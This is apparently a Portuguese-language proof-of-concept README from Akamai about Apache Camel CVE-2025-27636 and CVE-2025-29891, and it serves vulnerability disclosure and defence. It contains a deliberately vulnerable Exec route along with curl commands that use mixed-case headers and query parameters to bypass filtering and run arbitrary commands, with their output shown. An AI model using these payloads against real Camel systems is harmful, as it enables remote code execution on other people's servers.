
Prova de conceito que demonstra execução remota de código no Apache Camel ao explorar bypasses de filtragem de cabeçalhos e parâmetros (CVE-2025-27636, CVE-2025-29891) por meio do componente Exec.
CVE-2025–27636 e CVE-2025-29891 são vulnerabilidades no Apache Camel que afetam as versões: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. A exploração dessas vulnerabilidades pode permitir que atacantes executem métodos internos do Camel.
A seguir está um exemplo de aplicação vulnerável que utiliza o componente Camel Exec, que pode ser explorado para obter RCE. Outros componentes Camel poderiam ser explorados de maneira semelhante.
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
A aplicação expõe um endpoint HTTP que foi projetado para executar o comando "whoami" e retornar o resultado ao cliente. O componente Camel "Exec" está configurado para executar o comando, que é definido estaticamente no código.
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
Apesar do comando ser estático, podemos sobrescrevê-lo passando o cabeçalho CamelExecCommandExecutable, que (conforme especificado na documentação) sobrescreve a URI estática. O Apache Camel deveria filtrar tais cabeçalhos, mas devido ao tratamento incorreto de maiúsculas/minúsculas, passar o cabeçalho "CAmelExecCommandExecutable" contorna o filtro.
Executar o seguinte comando substituirá o comando estático "whoami" e, em vez disso, executará um comando arbitrário:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
Também podemos passar argumentos especificando o cabeçalho CamelExecCommandArgs:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
Se passarmos o cabeçalho "normal", notaremos que a exploração falha e o comando estático "whoami" é executado normalmente:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
Originalmente, acreditava-se que os cabeçalhos de requisição eram o único vetor de exploração. No entanto, a equipe de pesquisa de segurança da Akamai relatou um vetor adicional à equipe de desenvolvimento do Apache Camel, levando à atribuição do CVE-2025-29891. Esse problema se origina da mesma falha de filtragem do CVE-2025-27636 e permite invocar métodos internos através de parâmetros de requisição.
No exemplo a seguir, podemos ver que especificar o parâmetro de consulta “CAmelExecCommandExecutable” leva à execução arbitrária de comandos - assim como o vetor original do cabeçalho:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
O patch original que foi implementado para corrigir o CVE-2025-27636 também resolve esse problema, portanto, aplicações que utilizam versões atualizadas do Apache Camel não estão vulneráveis a esse vetor de exploração.
Copyright 2025 Akamai Technologies Inc.
Licenciado sob a Licença Apache, Versão 2.0 (a "Licença"); você não pode usar este arquivo exceto em conformidade com a Licença. Você pode obter uma cópia da Licença em
http://www.apache.org/licenses/LICENSE-2.0
A menos que exigido por lei aplicável ou acordado por escrito, o software distribuído sob a Licença é distribuído no estado "AS IS", SEM GARANTIAS OU CONDIÇÕES DE QUALQUER TIPO, expressas ou implícitas. Veja a Licença para as permissões específicas e limitações que regem o uso do software.